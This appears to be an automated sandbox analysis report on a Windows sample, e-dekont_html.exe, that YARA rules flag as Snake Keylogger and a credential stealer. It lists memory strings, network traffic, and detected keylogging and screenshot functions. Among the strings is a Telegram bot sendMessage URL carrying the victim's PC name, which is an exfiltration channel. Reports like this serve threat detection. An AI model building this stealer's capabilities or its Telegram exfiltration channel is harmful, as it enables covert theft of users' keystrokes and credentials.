Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000000.00000002.1776697265.0000000005D10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20a
Source: fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003454000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F44000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=enX~
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000345E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=enlBfq
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E50000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E0B000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E50000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000331A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E70000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004014000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EBD000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004137000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004061000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004647000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004571000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043F4000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004523000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000437F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: e-dekont_html.exe, 00000008.00000002.4169157251.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.000000000401A000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004112000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000435B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004622000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000044FF000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000452A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E70000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004014000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EBD000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004137000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004061000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004647000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004571000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043F4000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004523000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000437F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: e-dekont_html.exe, 00000008.00000002.4169157251.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.000000000401A000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004112000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000435B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004622000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000044FF000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000452A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003494000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/X~
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000348F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/lBfq
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61290
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 61289 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 61280 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 61282 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 61285 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 61287 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61285
Source: unknown Network traffic detected: HTTP traffic on port 61290 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61287
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61289
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61280
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61282
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 61283
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 61283 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61282 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61290 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Detected potential crypto function
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_012BD57C 0_2_012BD57C
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_076B6508 0_2_076B6508
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_076B0740 0_2_076B0740
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_076B0C50 0_2_076B0C50
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F00040 0_2_08F00040
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F034B8 0_2_08F034B8
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F0EAE0 0_2_08F0EAE0
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F0EF19 0_2_08F0EF19
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F0F360 0_2_08F0F360
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F034A8 0_2_08F034A8
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F06673 0_2_08F06673
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 0_2_08F06678 0_2_08F06678
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BED278 8_2_02BED278
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE5362 8_2_02BE5362
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE7118 8_2_02BE7118
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEC147 8_2_02BEC147
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEC738 8_2_02BEC738
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEC468 8_2_02BEC468
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BECA08 8_2_02BECA08
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE69A0 8_2_02BE69A0
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEE988 8_2_02BEE988
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BECFAA 8_2_02BECFAA
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BECCD8 8_2_02BECCD8
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE9DE0 8_2_02BE9DE0
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEF631 8_2_02BEF631
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEFA88 8_2_02BEFA88
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE29E0 8_2_02BE29E0
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BEE97A 8_2_02BEE97A
Source: C:\Users\user\Desktop\e-dekont_html.exe Code function: 8_2_02BE3E09 8_2_02BE3E09
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_02B6D57C 9_2_02B6D57C
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_07232106 9_2_07232106
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_072334B8 9_2_072334B8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_07236669 9_2_07236669
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_07236678 9_2_07236678
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_0723EF28 9_2_0723EF28
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_0723EAF0 9_2_0723EAF0
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_072334A8 9_2_072334A8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_0723F360 9_2_0723F360
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_07255788 9_2_07255788
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_07250740 9_2_07250740
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 9_2_07250C50 9_2_07250C50
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159C146 13_2_0159C146
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01595362 13_2_01595362
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159D278 13_2_0159D278
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159C468 13_2_0159C468
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159C738 13_2_0159C738
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159E988 13_2_0159E988
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_015969A0 13_2_015969A0
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01593B95 13_2_01593B95
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159CA08 13_2_0159CA08
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01599DE0 13_2_01599DE0
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159CCD8 13_2_0159CCD8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01596FC8 13_2_01596FC8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159CFAA 13_2_0159CFAA
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01593E09 13_2_01593E09
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159F631 13_2_0159F631
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159E97A 13_2_0159E97A
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_015929EC 13_2_015929EC
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_0159FA88 13_2_0159FA88
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Code function: 13_2_01593AA1 13_2_01593AA1
Sample file is different than original file name gathered from version info
Source: e-dekont_html.exe, 00000000.00000002.1764677520.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1777940710.0000000007740000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameMontero.dll8 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1769422089.0000000002D08000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1776779283.0000000005E80000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameArthur.dll" vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1769422089.0000000002C41000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameArthur.dll" vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1778649683.0000000008C6D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamePowerShell.EXEj% vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003EDC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMontero.dll8 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000008.00000002.4158733211.0000000000EF7000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUNKNOWN_FILET vs e-dekont_html.exe
Source: e-dekont_html.exe Binary or memory string: OriginalFilenamebbvK.exeP vs e-dekont_html.exe
Uses 32bit PE files
Source: e-dekont_html.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
